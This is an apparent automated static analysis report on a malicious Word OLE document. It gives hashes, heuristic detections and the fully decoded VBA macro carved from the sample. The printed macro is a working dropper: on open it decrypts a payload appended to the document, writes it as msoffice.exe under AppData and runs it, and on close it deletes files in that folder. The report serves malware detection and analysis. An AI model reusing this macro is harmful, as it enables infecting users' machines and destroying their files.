Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f7a8c1c7b235309d…

MALICIOUS

Office (OLE)

1.22 MB Created: 2015-03-18 01:18:00 Authoring application: Microsoft Office Word First seen: 2020-12-25
MD5: b2b241b8085ed191767e4d7b4b3810b7 SHA-1: a5daecfd57f006acd15486bd544f40e4cdce3801 SHA-256: f7a8c1c7b235309d1f5568d6cb46b69a0a8b142426696a97723447e22d02ea3c
346 Risk Score

Heuristics 13

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set asdvfdgdfbnghnhng = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set FSO = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        rljosd = Environ("appdata") & "\Microsoft\Word"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 1,275,268 bytes but its declared streams total only 613,068 bytes — 662,200 bytes (52%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOAD
    OLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3232 bytes
SHA-256: cda54ba5e7ce040f3c142b142b81382d754385fc2cced23f9da00e58d4afacdc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Printer"
Public asdifbcs As String
Public rljosd As String
Function fcddsf4fd(sncvidir() As Byte, saapdawd As Long) As Byte
    
    For I = 0 To saapdawd - 1
        fcddsf4fd = fcddsf4fd Xor sncvidir(I)
    Next I

End Function
Function pasdnaiduads(sncvidir() As Byte, saapdawd As Long) As Boolean
    
    Dim VarByte As Byte
    VarByte = 35
    
    For I = 0 To saapdawd - 1
        sncvidir(I) = sncvidir(I) Xor VarByte
        VarByte = ((VarByte Xor 217) Xor (I Mod 256))
    Next I
    
    pasdnaiduads = True
    
End Function
Sub AutoClose()
        
    On Error Resume Next
    Kill asdifbcs
    
    On Error Resume Next
    Set FSO = CreateObject("Scripting.FileSystemObject")
    FSO.DeleteFile rljosd & "\*.*", True
    Set FSO = Nothing
        
End Sub
Sub AutoOpen()
    
    On Error GoTo poasdindvsidfbv
    
    Set asdvfdgdfbnghnhng = CreateObject("WScript.Shell")
     
    Dim rtgfggjuyjsasawefsd
    Dim sadbniasdfhsvb As Long
    Dim saapdawd As Long
    Dim edwefibvfdvcdfb As Byte
    
    sadbniasdfhsvb = FileLen(ActiveDocument.FullName)
    
    rtgfggjuyjsasawefsd = FreeFile
    Open (ActiveDocument.FullName) For Binary As #rtgfggjuyjsasawefsd
    
    Get #rtgfggjuyjsasawefsd, (sadbniasdfhsvb - 4), edwefibvfdvcdfb
    Get #rtgfggjuyjsasawefsd, (sadbniasdfhsvb - 3), saapdawd
            
    If saapdawd < 8 Then
        GoTo poasdindvsidfbv
    End If
    
    If (saapdawd + 4) > sadbniasdfhsvb Then
        GoTo poasdindvsidfbv
    End If
    
    Dim sdfsdfsvoxcvcvbcvb As Long
    sdfsdfsvoxcvcvbcvb = sadbniasdfhsvb - (saapdawd + 4)
         
    Dim sncvidir() As Byte
    ReDim sncvidir(saapdawd - 1)
    
    Get #rtgfggjuyjsasawefsd, sdfsdfsvoxcvcvbcvb, sncvidir
                 
    Close #rtgfggjuyjsasawefsd
    
    If Not pasdnaiduads(sncvidir(), saapdawd) Then
        GoTo poasdindvsidfbv
    End If
    
    Dim sdfsfdfgbnghj As Byte
    sdfsfdfgbnghj = fcddsf4fd(sncvidir(), saapdawd)
        
    If edwefibvfdvcdfb <> sdfsfdfgbnghj Then
        GoTo poasdindvsidfbv
    End If
        
    rljosd = Environ("appdata") & "\Microsoft\Word"
    
    Set FSO = CreateObject("Scripting.FileSystemObject")
    If Not FSO.FolderExists(rljosd) Then
       rljosd = Environ("appdata")
    End If
    Set FSO = Nothing
    
    Dim ergdfbfghtyjnjfgs
    ergdfbfghtyjnjfgs = FreeFile
    
    asdifbcs = rljosd & "\" & "msoffice.exe"
           
    Open (asdifbcs) For Binary As #ergdfbfghtyjnjfgs
    Put #ergdfbfghtyjnjfgs, 1, sncvidir
    Close #ergdfbfghtyjnjfgs
    
    Erase sncvidir
    
    asdvfdgdfbnghnhng.Run asdifbcs
        
    ActiveDocument.Save
    ActiveDocument.Close
    
Exit Sub

poasdindvsidfbv:

    Close #rtgfggjuyjsasawefsd
    Close #ergdfbfghtyjnjfgs
    
    ActiveDocument.Save
    ActiveDocument.Close
    
End Sub

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